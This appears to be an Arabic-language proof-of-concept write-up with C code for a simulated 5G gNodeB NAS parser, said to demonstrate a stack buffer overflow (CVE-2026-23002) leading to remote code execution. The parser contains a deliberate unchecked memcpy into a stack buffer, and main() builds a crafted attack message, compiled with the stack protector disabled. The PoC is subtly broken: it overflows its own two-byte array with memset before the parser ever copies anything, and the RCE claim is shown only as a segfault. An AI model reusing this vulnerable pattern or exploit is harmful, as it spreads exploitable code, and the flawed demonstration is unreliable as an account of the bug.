
محاكي محلل NAS لعقدة gNodeB في شبكات 5G مع إثبات مفهوم (PoC) لثغرة تجاوز سعة المخزن المؤقت للمكدس (stack buffer overflow) في CVE-2026-23002؛ رسالة NAS مصممة بعناية تؤدي إلى تنفيذ كود عن بُعد.
// gnb_nas_sim.c - Simulated 5G gNodeB parsing NAS Registration Request
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#define MAX_IE_SIZE 128
void process_registration_request(uint8_t *nas_msg, uint16_t length) {
uint8_t ie_buffer[MAX_IE_SIZE];
// Read IE length from message; if length > MAX_IE_SIZE, buffer overflow
uint16_t ie_length = (nas_msg[0] << 8) | nas_msg[1];
if (ie_length > 0 && ie_length <= length - 2) {
memcpy(ie_buffer, nas_msg + 2, ie_length); // no bounds check!
printf("IE copied, size %d\n", ie_length);
}
}
int main() {
// Craft a NAS message with an oversized IE length
uint8_t attack[] = {0x01, 0x00}; // IE length = 256, but buffer is only 128 bytes
// Append padding to make length consistent
memset(attack+2, 'A', 254);
process_registration_request(attack, sizeof(attack));
return 0;
}
محلّل Non‑Access Stratum (NAS) الخاص بالجيل الخامس في gNodeB محاكى لا يتحقق من حقل طول عنصر المعلومات. يمكن للمهاجم الذي يرسل طلب تسجيل مصممًا بعناية أن يتسبب في تجاوز سعة مخزن مؤقت مكدسي (stack buffer)، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد على المحطة الأساسية.
قم بتجميع وتشغيل المحلل المعرّض للثغرة:
gcc -o gnb_nas_sim gnb_nas_sim.c -fno-stack-protector
./gnb_nas_sim
يتعطل البرنامج بخطأ تجزئة (Segmentation Fault) نتيجة تلف المكدس (Stack Corruption).